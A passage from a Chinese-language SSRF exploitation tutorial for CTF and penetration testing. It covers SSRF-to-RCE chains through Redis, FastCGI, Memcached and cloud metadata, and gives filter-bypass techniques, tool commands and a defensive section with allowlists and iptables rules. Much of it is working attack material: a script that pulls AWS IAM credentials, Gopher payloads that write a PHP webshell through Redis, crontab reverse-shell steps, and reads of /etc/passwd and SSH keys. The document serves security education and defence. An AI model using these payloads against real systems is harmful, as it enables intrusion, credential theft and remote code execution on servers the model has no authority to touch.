print(f"\n[*] 获取角色 {role} 的凭证...")
creds = ssrf_get(f"{base}/iam/security-credentials/{role}")
print(f"[+] 凭证:\n{creds}")
print("\n[*] 获取其他实例信息...")
for path in ['instance-id', 'local-ipv4', 'public-ipv4', 'public-hostname']:
val = ssrf_get(f"{base}/{path}")
print(f" {path}: {val}")
print("\n[*] 读取用户数据(可能含密码)...")
userdata = ssrf_get("http://169.254.169.254/latest/user-data")
if userdata:
print(f"[+] User-data:\n{userdata}")
steal_aws_credentials()
十、SSRF 转 RCE
10.1 攻击链总览
SSRF → RCE 常见路径:
① SSRF → Redis 未授权 → 写 WebShell → RCE
② SSRF → Redis 未授权 → 写 crontab → 反弹 Shell
③ SSRF → Redis 未授权 → 写 SSH 公钥 → SSH 登录
④ SSRF → FastCGI → PHP 代码执行 → RCE
⑤ SSRF → Jenkins Script Console → Groovy RCE
⑥ SSRF → Docker API → 创建特权容器 → 容器逃逸 → 宿主机 RCE
⑦ SSRF → Kubernetes API → 创建特权 Pod → 宿主机 RCE
⑧ SSRF → Memcached 投毒 → 触发反序列化 → RCE
⑨ SSRF → JNDI(LDAP/RMI)→ Java 反序列化 → RCE
⑩ SSRF → internal API → 命令注入 → RCE
10.2 Redis 未授权 RCE 完整流程
# 验证 Redis 是否可访问(无密码)
# 方法一:dict 协议探测
?url=dict://127.0.0.1:6379/info
# 若返回 Redis 信息,确认无鉴权访问
# 方法二:gopher 协议发送 PING 命令
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A
# 若返回 +PONG,确认可访问
# ══ 攻击方式一:写 WebShell ══
# 使用 Gopherus 生成:
python gopherus.py --exploit redis
# 选择 PHP Webshell,输入 web 目录路径
# 得到 Gopher URL,发送到 SSRF 漏洞
# 手动 Gopher URL(简化版,实际需要完整 RESP 格式)
# 命令:SET, CONFIG SET dir, CONFIG SET dbfilename, SAVE
# ══ 攻击方式二:计划任务反弹 Shell ══
python gopherus.py --exploit redis
# 选择 Linux-Crontab,输入 VPS IP 和端口
# 监听端口:nc -lvnp 4444
# ══ 攻击方式三:写 SSH 公钥 ══
# 先生成 SSH 密钥对
ssh-keygen -t rsa -f /tmp/ssrf_key -P ""
# 公钥内容写入 Redis
python gopherus.py --exploit redis
# 选择 SSH Public Key 攻击
# 输入公钥内容(cat /tmp/ssrf_key.pub)
# 之后 ssh -i /tmp/ssrf_key root@target-ip
10.3 Memcached 缓存投毒
Memcached 协议(文本格式):
set <key> <flags> <exptime> <bytes>\r\n
<value>\r\n
通过 Dict 单命令注入(仅能设置简单值):
dict://127.0.0.1:11211/set:key:0:3600:value
通过 Gopher 发送完整协议:
set cache_key 0 3600 100\r\n
<?php system($_GET['cmd']); ?>\r\n
投毒场景:
若应用程序将 PHP 代码从缓存读取后 eval,
可以注入恶意 PHP 代码到缓存 → 触发 eval → RCE
若应用程序缓存 HTML 内容,
可以注入 XSS Payload
十一、SSRF 转 XXE
SSRF 与 XXE 可以相互触发:
① XXE → SSRF:
在 XXE Payload 中使用 http:// 外部实体
→ XML 解析器发起 HTTP 请求
→ 用于内网探测
② SSRF → XXE:
SSRF 访问内网 XML 处理服务
→ 该服务解析 SSRF 传来的 XML
→ 触发第二层 XXE
③ SSRF + XML Content-Type:
某些内网服务接受 XML 格式请求
通过 Gopher 发送包含 XXE 的 XML
→ 触发内网服务的 XXE
Gopher 发送 XML 到内网服务:
gopher://127.0.0.1:8080/_POST%20/parse%20HTTP%2F1.1%0D%0A
Host:%20127.0.0.1%3A8080%0D%0A
Content-Type:%20application%2Fxml%0D%0A
Content-Length:%20xxx%0D%0A
%0D%0A
%3C%3Fxml%20version%3D%221.0%22%3F%3E
%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E
%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
十二、URL 解析绕过
12.1 URL 解析差异
# 不同库对同一 URL 的解析差异可用于绕过过滤
# ══ @ 符号绕过 ══
# URL 中 @ 之前是用户名密码,@ 之后才是主机
# http://allowed.com@192.168.1.1/
# 规范解析:主机=192.168.1.1, 用户名=allowed.com
# 某些过滤器只检查 @ 之前的部分
import urllib.parse
url = "http://allowed.com@192.168.1.1/admin"
parsed = urllib.parse.urlparse(url)
print(f"netloc: {parsed.netloc}") # allowed.com@192.168.1.1
print(f"hostname: {parsed.hostname}") # 192.168.1.1
# ══ # 符号混淆 ══
# http://192.168.1.1#allowed.com
# 片段标识符(fragment)不发送到服务器
# 某些过滤器可能误判主机为 192.168.1.1#allowed.com
# ══ ? 混淆 ══
# http://192.168.1.1?.allowed.com/
# 某些解析器将 ? 后的部分视为查询,主机是 192.168.1.1
# ══ 多级 @(HTTP 基本认证格式)══
# http://user:pass@192.168.1.1@allowed.com/
# 不同实现中主机解析可能不同
# ══ URL 片段差异利用 ══
tests = [
"http://allowed.com@192.168.1.1/",
"http://192.168.1.1/allowed.com",
"http://192.168.1.1?.allowed.com",
"http://192.168.1.1#.allowed.com",
]
for t in tests:
p = urllib.parse.urlparse(t)
print(f"{t!r} → host={p.hostname}")
12.2 路径混淆
# ══ 路径穿越 ══
http://allowed.com/path/../../../etc/passwd
# 若服务器跟随 Location 重定向,可能访问本地文件
# ══ URL 编码路径 ══
http://127.0.0.1/%2F%2Fetc%2Fpasswd
# 某些服务器对路径进行 URL 解码后访问
# ══ 双斜杠绕过 ══
http:///127.0.0.1/
file:////etc/passwd
# 某些实现对多余斜杠的处理方式不同
# ══ 反斜杠(Windows 场景)══
http://127.0.0.1\allowed.com
# Windows 路径中反斜杠有效,可能绕过路径检查
十三、IP 地址绕过
13.1 IP 编码变体
# ══ 十进制 IP ══
# 127.0.0.1 各段转十进制后合并
# 127.0.0.1 = 127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433
# http://2130706433/
import socket, struct
ip = "127.0.0.1"
packed = socket.inet_aton(ip)
decimal = struct.unpack("!I", packed)[0]
print(f"{ip} → 十进制: {decimal}") # 2130706433
# ══ 八进制 IP ══
# 127.0.0.1 → 0177.0.0.01
# 每段转八进制(加0前缀)
# http://0177.0.0.1/
# http://0177.0.0.01/ (0177 = 127)
parts = [int(x) for x in "127.0.0.1".split('.')]
octal_ip = ".".join(oct(p) for p in parts) # 0o177.0x0.0o0.0o1
print(f"八进制: {octal_ip}")
# → 0177.00.00.01
# ══ 十六进制 IP ══
# 127.0.0.1 → 0x7f.0x00.0x00.0x01 → 0x7f000001
# http://0x7f000001/ (十六进制无点)
# http://0x7f.0x00.0x00.0x01/ (十六进制有点)
hex_parts = [hex(int(x)) for x in "127.0.0.1".split('.')]
print(f"十六进制有点: {'.'.join(hex_parts)}") # 0x7f.0x0.0x0.0x1
hex_int = hex(decimal)
print(f"十六进制无点: {hex_int}") # 0x7f000001
# ══ 混合格式 ══
# http://127.0.0.0x01/ (最后段十六进制)
# http://0177.0.0.0x01/ (混合八进制和十六进制)
# http://127.1/ (省略中间零段)
# http://127.0.1/ (省略一个零段)
# ══ 常见内网 IP 的编码变体 ══
def encode_ip(ip):
parts = [int(x) for x in ip.split('.')]
packed = socket.inet_aton(ip)
decimal = struct.unpack("!I", packed)[0]
print(f"\nIP: {ip}")
print(f" 十进制: {decimal}")
print(f" 十六进制: {hex(decimal)}")
print(f" 八进制: {'.'.join(oct(p) for p in parts)}")
print(f" 省略格式: {parts[0]}.{parts[3]}") # 仅对某些IP有效
for ip in ["127.0.0.1", "0.0.0.0", "192.168.1.1"]:
encode_ip(ip)
13.2 特殊 IP 地址
# 指向 localhost 的特殊地址:
127.0.0.1 标准回环地址
127.0.0.2 ~ 127.255.255.254 均指向本机(lo 接口)
127.1 省略格式
127.0.1 省略格式
0.0.0.0 在某些上下文指向本机
0 十进制 0,某些系统解析为 127.0.0.1
localhost 主机名(DNS 解析)
[::1] IPv6 回环
[0:0:0:0:0:0:0:1] IPv6 完整回环
[::] IPv6 所有地址(含 0.0.0.0)
[::ffff:127.0.0.1] IPv4 映射的 IPv6 地址
[::ffff:7f00:1] 十六进制 IPv4 映射 IPv6
# CIDR 内的特殊地址:
192.168.0.0 网络地址
192.168.0.255 广播地址
10.0.0.0/8 内网 A 类
172.16.0.0/12 内网 B 类
192.168.0.0/16 内网 C 类
169.254.0.0/16 链路本地(AWS 元数据)
13.3 IPv6 绕过
# IPv6 表示的 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[0000:0000:0000:0000:0000:0000:0000:0001]/
http://[::ffff:127.0.0.1]/ IPv4 映射格式
http://[::ffff:7f00:0001]/ 十六进制映射
# 某些防火墙只过滤 IPv4,IPv6 可以绕过
# IPv6 地址压缩规则:
# 连续零组可用 :: 替代(只能用一次)
# 每组前导零可省略
# 2001:0db8:0000:0000:0000:0000:0000:0001
# → 2001:db8::1
# 绕过检测 127.0.0.1 的 WAF:
# [::ffff:127.0.0.1] 与 127.0.0.1 功能相同
# [::ffff:0:1] = [::ffff:0.0.0.1] = 127.0.0.1(变体)
十四、域名与 DNS 绕过
14.1 域名指向内网
# 注册一个指向内网地址的域名
# 例:在 DNS 解析中将 attacker.com A 记录设为 127.0.0.1
# 绕过仅检查域名黑白名单而不检查解析结果的过滤器
# 公开的重定向内网域名服务:
# nip.io → 127.0.0.1.nip.io 解析为 127.0.0.1
# xip.io → 127.0.0.1.xip.io 解析为 127.0.0.1
# sslip.io → 127.0.0.1.sslip.io 解析为 127.0.0.1
# 利用方式:
?url=http://127.0.0.1.nip.io/
?url=http://192.168.1.1.nip.io/
?url=http://10.0.0.1.nip.io/
# 这些域名 DNS 解析返回对应的 IP
# 若过滤器只检查域名(不检查解析结果)→ 绕过!
# 更多变体:
?url=http://127.0.0.1.nip.io:8080/
?url=http://192.168.1.100.nip.io/admin
# subdomain 变体:
?url=http://foo.127.0.0.1.nip.io/
14.2 DNS 重绑定攻击(DNS Rebinding)
DNS 重绑定(DNS Rebinding)绕过基于域名的过滤:
攻击流程:
1. 攻击者控制 evil.com 的 DNS,设置 TTL=0
2. 服务器第一次解析 evil.com → 返回公网 IP(通过白名单检查)
3. 服务器准备发起请求
4. 攻击者立即修改 DNS,evil.com → 内网 IP(如 127.0.0.1)
5. 服务器 TTL 过期,重新解析 evil.com → 获取内网 IP
6. 服务器以为在访问合法的 evil.com,实际上访问了内网!
工具:
- Singularity(DNS Rebinding 攻击框架)
https://github.com/nccgroup/singularity
- whonow(可控 DNS 服务器)
https://github.com/brannondorsey/whonow
防御:
DNS 解析后立即验证 IP 是否在黑名单
(TOCTOU 竞争条件难以完全防御)
14.3 URL 跳转/重定向绕过
# 若服务器允许跟随 HTTP 重定向,
# 在攻击者控制的域名上配置重定向到内网地址
# 方法一:服务器端 302 重定向
# attacker.com/redirect → 302 Location: http://192.168.1.1/
# Flask 重定向服务器示例
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def do_redirect():
return redirect("http://169.254.169.254/latest/meta-data/", 302)
@app.route('/redis')
def redis_redirect():
# 重定向到内网 Redis
return redirect("gopher://127.0.0.1:6379/_PING", 302)
# 方法二:meta refresh
# <meta http-equiv="refresh" content="0;url=http://192.168.1.1/">
# 方法三:JavaScript 重定向(仅限浏览器场景)
# window.location = "http://192.168.1.1/"
# 利用:
# ?url=http://attacker.com/redirect
# 若服务器跟随重定向 → 访问 http://192.168.1.1/
# 绕过两次:先绕过域名白名单,再重定向到内网
十五、协议绕过
15.1 绕过协议黑名单
# 当 file:// 被封锁时的替代协议
# PHP 环境
php://filter/read=convert.base64-encode/resource=/etc/passwd
php://input
data://text/plain,test
# Java 环境
jar:file:///etc/passwd!/
netdoc:///etc/passwd
# 绕过 http:// 黑名单(访问内网 HTTP 服务)
https://127.0.0.1/ 若只过滤 http://,https 可绕过
http://127.1/ 省略格式
http://0/ 十进制0 = 127.0.0.1(部分系统)
http://[::1]/ IPv6 格式
http://localhost/ 主机名
# 利用重定向绕过协议限制
# 服务器:只允许 http://
# 攻击者:http:// → 302 → gopher://(若跟随重定向时协议切换不受限)
15.2 协议走私(Protocol Smuggling)
# 利用协议解析差异进行绕过
# ══ URL Scheme 大小写 ══
HTTP://127.0.0.1/
Http://127.0.0.1/
hTTp://127.0.0.1/
FILE:///etc/passwd
fIlE:///etc/passwd
# ══ 协议前缀变体 ══
# 某些框架在处理 URL 时会去除额外字符
///127.0.0.1/ (三斜杠,省略 scheme)
////127.0.0.1/ (四斜杠)
\127.0.0.1\ (反斜杠,Windows 路径格式)
# ══ 利用 CRLF 注入走私请求 ══
# 若 URL 参数被插入 HTTP 请求头
# http://target.com/proxy?url=http://internal%0D%0AX-Header: injected
15.3 绕过端口限制
# 当只允许访问特定端口(如 80/443)时
# ══ 利用端口混淆 ══
http://127.0.0.1:80@127.0.0.1:6379/ 某些解析:端口=6379
http://127.0.0.1:6379%23:80/ % 编码 # 混淆
http://127.0.0.1:6379%0D%0A/ CRLF 截断端口
# ══ 利用服务端重定向 ══
# 服务端检查第一次请求的端口(80/443),通过后跟随重定向到任意端口
# ══ 利用 URL Fragment ══
http://127.0.0.1:80/#127.0.0.1:6379
# Fragment 后的内容不发送到服务器,某些解析器可能误判
# ══ 默认端口省略 ══
http://127.0.0.1/ = http://127.0.0.1:80/
https://127.0.0.1/ = https://127.0.0.1:443/
ftp://127.0.0.1/ = ftp://127.0.0.1:21/
十六、参数注入绕过
16.1 Open Redirect 参数注入
# 利用已有的 Open Redirect 漏洞绕过 SSRF 过滤
# 场景:应用只允许特定域名,但该域名存在 Open Redirect
?url=https://allowed-domain.com/redirect?to=http://192.168.1.1/
# 常见 Open Redirect 参数名:
# url= / redirect= / next= / return= / to= / goto= / r=
# 组合利用:SSRF 漏洞 + 目标域名的 Open Redirect
# 示例:
?url=https://accounts.google.com/ServiceLogin?continue=http://127.0.0.1/
?url=https://trusted.com/logout?redirect=http://192.168.1.1:8080/
16.2 参数污染绕过
# HTTP 参数污染(HPP)
# 某些框架对重复参数的处理不同
?url=http://allowed.com&url=http://127.0.0.1/
# 若后端只取第一个 url → 检查通过,实际用第二个?
# URL 参数中的 URL
?url=http://allowed.com/fetch?src=http://127.0.0.1/
# 若后端对 src 参数进行二次请求 → SSRF
# 在允许的 URL 中拼接路径穿越
?url=http://allowed.com/../../../127.0.0.1/admin
# 若服务器对相对路径进行规范化处理
16.3 Content-Type 与请求体绕过
# 某些接口通过修改 Content-Type 触发不同的解析逻辑
# JSON → XML(触发 XML 解析,进而 XXE → SSRF)
Content-Type: application/xml
body: <?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY ssrf SYSTEM "http://internal/">]>
<foo>&ssrf;</foo>
# 通过 multipart/form-data 绕过
Content-Type: multipart/form-data; boundary=----
------
Content-Disposition: form-data; name="url"
http://127.0.0.1/
------
# 通过 JSON 嵌套 URL
{"callback": "http://allowed.com", "target": "http://127.0.0.1/"}
# 若后端误用了 target 字段
十七、CTF 实战思路
17.1 SSRF 解题流程
发现 SSRF 入口
│
├── 参数特征:url= / link= / src= / target= / path=
├── 功能特征:图片下载/URL预览/Webhook/数据导入
└── 请求特征:服务器返回远程内容
│
↓
确认 SSRF 存在
├── 访问自己的服务器(Collaborator/DNSlog)
├── 访问 http://127.0.0.1/(检查响应差异)
└── 测试 file:///etc/passwd(有无文件读取)
│
↓
确定支持的协议
├── file:// → 文件读取
├── gopher:// → TCP 原始数据(最强)
├── dict:// → 单行命令
├── http:// → HTTP 请求(基础)
└── ftp:// → FTP 协议
│
↓
内网信息收集
├── 读取 /proc/net/tcp → 内网开放端口
├── 读取 /etc/hosts → 内网域名
├── 扫描常见端口(6379/3306/27017/9200...)
└── 识别服务类型
│
↓
针对性攻击
├── Redis 未授权 → Gopher 写 WebShell
├── FastCGI → Gopher 执行 PHP
├── Jenkins → 访问 /script 执行 Groovy
├── Docker API → 创建特权容器
├── 云元数据 → 窃取 IAM 凭证
└── 内网 Web 应用 → 二次攻击
17.2 各协议 Payload 速查
# ── file:// 文件读取 ──
?url=file:///etc/passwd
?url=file:///etc/hosts
?url=file:///proc/self/environ
?url=file:///var/www/html/.env
?url=file:///root/.ssh/id_rsa
# ── http:// 内网探测 ──
?url=http://127.0.0.1/
?url=http://127.0.0.1:6379/ # Redis
?url=http://127.0.0.1:9200/ # Elasticsearch
?url=http://127.0.0.1:8080/ # Tomcat/Jenkins
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
# ── dict:// Redis 操作 ──
?url=dict://127.0.0.1:6379/info
?url=dict://127.0.0.1:6379/config:get:dir
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
# ── gopher:// Redis(PING 测试)──
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A
# ── gopher:// HTTP 请求(访问内网 HTTP 服务)──
# GET 请求
gopher://127.0.0.1:8080/_GET%20/admin%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A8080%0D%0AConnection%3A%20close%0D%0A%0D%0A
# ── gopher:// FastCGI(使用 Gopherus 生成)──
python gopherus.py --exploit fastcgi
# ── php:// 读取 PHP 源码(PHP SSRF)──
?url=php://filter/convert.base64-encode/resource=/var/www/html/index.php
17.3 常见 CTF 题型
题型一:有回显 SSRF 读取 /flag
→ file:///flag 或 file:///flag.txt
题型二:SSRF 访问内网 HTTP 服务获取 flag
→ http://127.0.0.1:8080/secret
→ 扫描常见端口找到内网服务
题型三:SSRF + Redis 写 WebShell
→ Gopher 发送 Redis 命令写入 PHP WebShell
→ 访问 WebShell 执行命令
题型四:SSRF + Gopher + FastCGI
→ 利用 Gopherus 生成 FastCGI Payload
→ 执行 PHP 代码
题型五:SSRF 读取云元数据
→ 访问 169.254.169.254 获取 IAM 凭证
→ 用凭证访问 AWS S3/EC2 找到 flag
题型六:URL 过滤绕过
→ 各种 IP 编码绕过黑名单
→ 域名指向内网(nip.io / DNS 重绑定)
题型七:协议限制绕过
→ 只允许 http 时通过重定向访问 file://
→ 使用 gopher:// 绕过无法 POST 的限制
题型八:SSRF + SSRF(链式)
→ 第一层 SSRF 访问内网服务
→ 内网服务存在第二层 SSRF
→ 最终到达目标资源
17.4 工具推荐速查
# ── Gopherus(Gopher Payload 生成)──
git clone https://github.com/tarunkant/Gopherus
python gopherus.py --exploit redis # Redis 攻击
python gopherus.py --exploit fastcgi # FastCGI 攻击
python gopherus.py --exploit mysql # MySQL 攻击
python gopherus.py --exploit memcache # Memcached 投毒
python gopherus.py --exploit smtp # SMTP 邮件
# ── SSRFmap(SSRF 利用框架)──
git clone https://github.com/swisskyrepo/SSRFmap
python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m redis
# ── Interactsh(带外请求捕获)──
# https://github.com/projectdiscovery/interactsh
./interactsh-client # 获取唯一域名,监控所有交互
# ── Burp Collaborator ──
# 在 Burp Suite 中内置的带外请求捕获服务
# ── SSRF 探测脚本(自写)──
# 见第 4 章的端口扫描脚本
十八、防御措施
18.1 白名单验证(核心防御)
from urllib.parse import urlparse
import ipaddress
import socket
import re
# ── 方法一:严格的域名白名单 ──
ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com', 'trusted.com'}
def is_allowed_url(url: str) -> bool:
"""检查 URL 是否在白名单中"""
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False # 只允许 HTTP/HTTPS
hostname = parsed.hostname
if hostname not in ALLOWED_HOSTS:
return False
# 额外:验证解析后的 IP 也不是内网(防 DNS 重绑定)
try:
ip = socket.gethostbyname(hostname)
if is_private_ip(ip):
return False
except socket.gaierror:
return False
return True
except Exception:
return False
# ── 方法二:阻止私有 IP(黑名单)──
PRIVATE_IP_RANGES = [
ipaddress.ip_network('127.0.0.0/8'), # 回环
ipaddress.ip_network('10.0.0.0/8'), # 内网 A
ipaddress.ip_network('172.16.0.0/12'), # 内网 B
ipaddress.ip_network('192.168.0.0/16'), # 内网 C
ipaddress.ip_network('169.254.0.0/16'), # 链路本地(云元数据)
ipaddress.ip_network('::1/128'), # IPv6 回环
ipaddress.ip_network('fc00::/7'), # IPv6 私有
ipaddress.ip_network('0.0.0.0/8'), # 本机
ipaddress.ip_network('100.64.0.0/10'), # CGNAT
]
def is_private_ip(ip_str: str) -> bool:
"""检查 IP 是否为私有/保留地址"""
try:
ip = ipaddress.ip_address(ip_str)
return any(ip in network for network in PRIVATE_IP_RANGES)
except ValueError:
return True # 无效 IP,视为危险
def safe_request(url: str) -> bytes:
"""安全的 HTTP 请求函数"""
try:
parsed = urlparse(url)
# 1. 只允许 http/https
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"Disallowed scheme: {parsed.scheme}")
# 2. 解析主机名为 IP
hostname = parsed.hostname
ip = socket.gethostbyname(hostname)
# 3. 检查 IP 是否为私有地址
if is_private_ip(ip):
raise ValueError(f"Private IP not allowed: {ip}")
# 4. 发起请求(使用解析后的 IP,防止 DNS 重绑定)
import requests
resp = requests.get(
url,
timeout=5,
allow_redirects=False, # 禁止自动跟随重定向!
verify=True # 验证 SSL 证书
)
return resp.content
except Exception as e:
raise ValueError(f"SSRF protection blocked: {e}")
18.2 禁用危险协议
import re
from urllib.parse import urlparse
# 允许的协议白名单
ALLOWED_SCHEMES = {'http', 'https'}
# 禁止的协议黑名单(不推荐单独使用,可作为补充)
BLOCKED_SCHEMES = {
'file', 'gopher', 'dict', 'ftp', 'sftp', 'tftp',
'ldap', 'ldaps', 'jar', 'netdoc', 'phar',
'php', 'data', 'expect', 'zip', 'zlib'
}
def validate_url_scheme(url: str) -> bool:
parsed = urlparse(url.lower())
if parsed.scheme not in ALLOWED_SCHEMES:
return False
if parsed.scheme in BLOCKED_SCHEMES:
return False
return True
# PHP 安全配置(php.ini)
# 禁用危险协议的 stream wrapper
# allow_url_fopen = Off # 禁止 URL 文件访问
# allow_url_include = Off # 禁止 URL include
# PHP 代码中禁用协议
$url = $_GET['url'];
$parsed = parse_url($url);
$allowed_schemes = ['http', 'https'];
if (!in_array($parsed['scheme'], $allowed_schemes)) {
die("Protocol not allowed");
}
18.3 网络层防护
# ── iptables 规则:阻止 Web 进程访问内网 ──
# 阻止 www-data 用户向内网发起请求
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 169.254.0.0/16 -j DROP
# 只允许访问特定外网 IP
iptables -A OUTPUT -m owner --uid-owner www-data -d 1.2.3.4 -j ACCEPT # 允许特定 IP
iptables -A OUTPUT -m owner --uid-owner www-data -j DROP # 默认拒绝
# ── 使用 egress 过滤代理 ──
# 配置 Web 应用通过代理发起外部请求
# 在代理层实施白名单控制
export HTTP_PROXY=http://safe-proxy:3128
export HTTPS_PROXY=http://safe-proxy:3128
18.4 代码层安全实践
# ── 使用安全的 HTTP 客户端库 ──
# 推荐:带 SSRF 防护的 requests 封装
import requests
from urllib.parse import urlparse
import ipaddress
import socket
class SafeSession(requests.Session):
"""防 SSRF 的 HTTP 会话"""
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('::1/128'),
]
def request(self, method, url, **kwargs):
self._check_url(url)
kwargs.setdefault('allow_redirects', False) # 默认不跟随重定向
kwargs.setdefault('timeout', 5)
return super().request(method, url, **kwargs)
def _check_url(self, url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"Blocked scheme: {parsed.scheme}")
hostname = parsed.hostname
try:
ips = socket.getaddrinfo(hostname, None)
for result in ips:
ip_str = result[4][0]
ip = ipaddress.ip_address(ip_str)
for network in self.BLOCKED_NETWORKS:
if ip in network:
raise ValueError(f"Blocked IP: {ip_str} → {network}")
except socket.gaierror:
raise ValueError(f"DNS resolution failed: {hostname}")
# 使用示例
session = SafeSession()
response = session.get("https://api.external.com/data") # 安全
response = session.get("http://192.168.1.1/") # → 抛出异常
18.5 防御检查清单
核心防御(必须):
✅ 使用白名单验证目标 URL(域名/IP/端口)
✅ 只允许 HTTP/HTTPS 协议,禁用 file/gopher/dict 等
✅ 解析主机名后验证 IP 不在内网/保留地址范围
✅ 禁止服务器跟随 HTTP 重定向(或对重定向目标二次验证)
✅ 使用网络层防火墙隔离 Web 进程的出站请求
输入验证:
✅ 验证 URL scheme(只允许 http/https)
✅ 验证主机名(白名单 > 黑名单)
✅ 验证端口(只允许 80/443 或业务需要的端口)
✅ 解析主机名后检查是否为私有 IP
请求控制:
✅ 设置合理的超时时间(防止 DoS)
✅ 限制响应体大小
✅ 不将响应内容直接返回给用户(防止信息泄露)
✅ 记录所有外发请求日志(审计)
云环境特殊防护:
✅ 启用 AWS IMDSv2(禁用 IMDSv1)
✅ 使用 GCP Metadata-Flavor 头强制验证
✅ 对元数据接口配置额外的访问控制
✅ 最小权限 IAM 角色,避免过度授权
架构层面:
✅ Web 应用与内网核心服务隔离
✅ 内网服务不依赖 IP 白名单作为唯一认证
✅ 部署 WAF 检测 SSRF 特征
✅ 使用 RASP 在运行时拦截危险请求
附录
A. 常见内网服务指纹速查
| 服务 | 默认端口 | 识别特征 | 常见攻击方式 |
|---|---|---|---|
| Redis | 6379 | +PONG / Redis 版本信息 |
Gopher 写 WebShell / 计划任务 |
| MySQL | 3306 | MySQL 握手包 | Gopher SELECT INTO OUTFILE |
| MongoDB | 27017 | "looks like you are trying…" | HTTP API 直接访问 |
| Memcached | 11211 | STAT 信息 | Gopher 缓存投毒 |
| Elasticsearch | 9200 | JSON 集群信息 | HTTP 直接读数据 |
| FastCGI | 9000 | 无 HTTP 响应 | Gopher 执行 PHP |
| Zookeeper | 2181 | imok 响应 |
mntr/dump 命令 |
| Docker API | 2375 | JSON 版本信息 | 创建特权容器 |
| Jenkins | 8080 | Jenkins HTML 页面 | /script Groovy RCE |
| Consul | 8500 | JSON API 响应 | 读取 KV/服务注册 |
| Kubernetes | 10250 | TLS / API 响应 | Pod 命令执行 |
| RabbitMQ | 15672 | 管理界面 HTML | 默认 guest/guest |
B. IP 编码速查
# 127.0.0.1 的各种表示
ip_variants = [
"127.0.0.1", # 标准
"localhost", # 主机名
"127.1", # 省略
"127.0.1", # 省略
"2130706433", # 十进制
"0x7f000001", # 十六进制(无点)
"0x7f.0x0.0x0.0x1", # 十六进制(有点)
"0177.0.0.1", # 八进制
"0177.0.0.01", # 八进制变体
"[::1]", # IPv6 回环
"[::ffff:127.0.0.1]", # IPv4 映射 IPv6
"[::ffff:7f00:1]", # 十六进制 IPv4 映射
"0.0.0.0", # 所有接口
"0", # 十进制 0
"127.0.0.1.nip.io", # nip.io 服务
]
C. Gopher Payload 生成速查
#!/usr/bin/env python3
"""Gopher Payload 快速生成"""
import urllib.parse
def gopher(host, port, data: bytes) -> str:
encoded = urllib.parse.quote(data, safe='')
return f"gopher://{host}:{port}/_{encoded}"
# Redis PING
redis_ping = b"*1\r\n$4\r\nPING\r\n"
print(gopher("127.0.0.1", 6379, redis_ping))
# Redis 写 WebShell(简化)
redis_webshell = (
b"*1\r\n$8\r\nflushall\r\n"
b"*3\r\n$3\r\nset\r\n$6\r\nshell1\r\n$33\r\n\n\n<?php system($_GET[cmd]);?>\n\n\r\n"
b"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n"
b"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n"
b"*1\r\n$4\r\nsave\r\n"
)
print(gopher("127.0.0.1", 6379, redis_webshell))
# HTTP GET 请求
http_get = b"GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
print(gopher("127.0.0.1", 8080, http_get))
D. WAF 绕过速查表
| 过滤目标 | 绕过方法 | 示例 |
|---|---|---|
127.0.0.1 |
十进制 IP | 2130706433 |
127.0.0.1 |
十六进制 IP | 0x7f000001 |
127.0.0.1 |
八进制 IP | 0177.0.0.1 |
127.0.0.1 |
IPv6 格式 | [::1] / [::ffff:127.0.0.1] |
127.0.0.1 |
省略格式 | 127.1 / 127.0.1 |
localhost |
IP 替代 | 以上各种 IP 格式 |
| IP 黑名单 | nip.io | 127.0.0.1.nip.io |
| IP 黑名单 | DNS 重绑定 | 自控域名 → TTL=0 |
| IP 黑名单 | HTTP 重定向 | allowed.com → 302 → 内网 |
http:// 协议 |
HTTPS | https://127.0.0.1/ |
file:// 协议 |
PHP 协议 | php://filter/... |
| 端口黑名单 | 重定向 | 先访问 80,再 302 到 6379 |
| 关键词过滤 | IP 编码 + URL 编码 | %31%32%37%2E%30%2E%30%2E%31 |
| 域名白名单 | Open Redirect | 白名单域名/redirect?to=内网 |
| 域名白名单 | @ 绕过 |
http://白名单@127.0.0.1/ |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。SSRF 漏洞的利用在未经授权的情况下属于违法行为,请在合法合规的环境中学习与实践。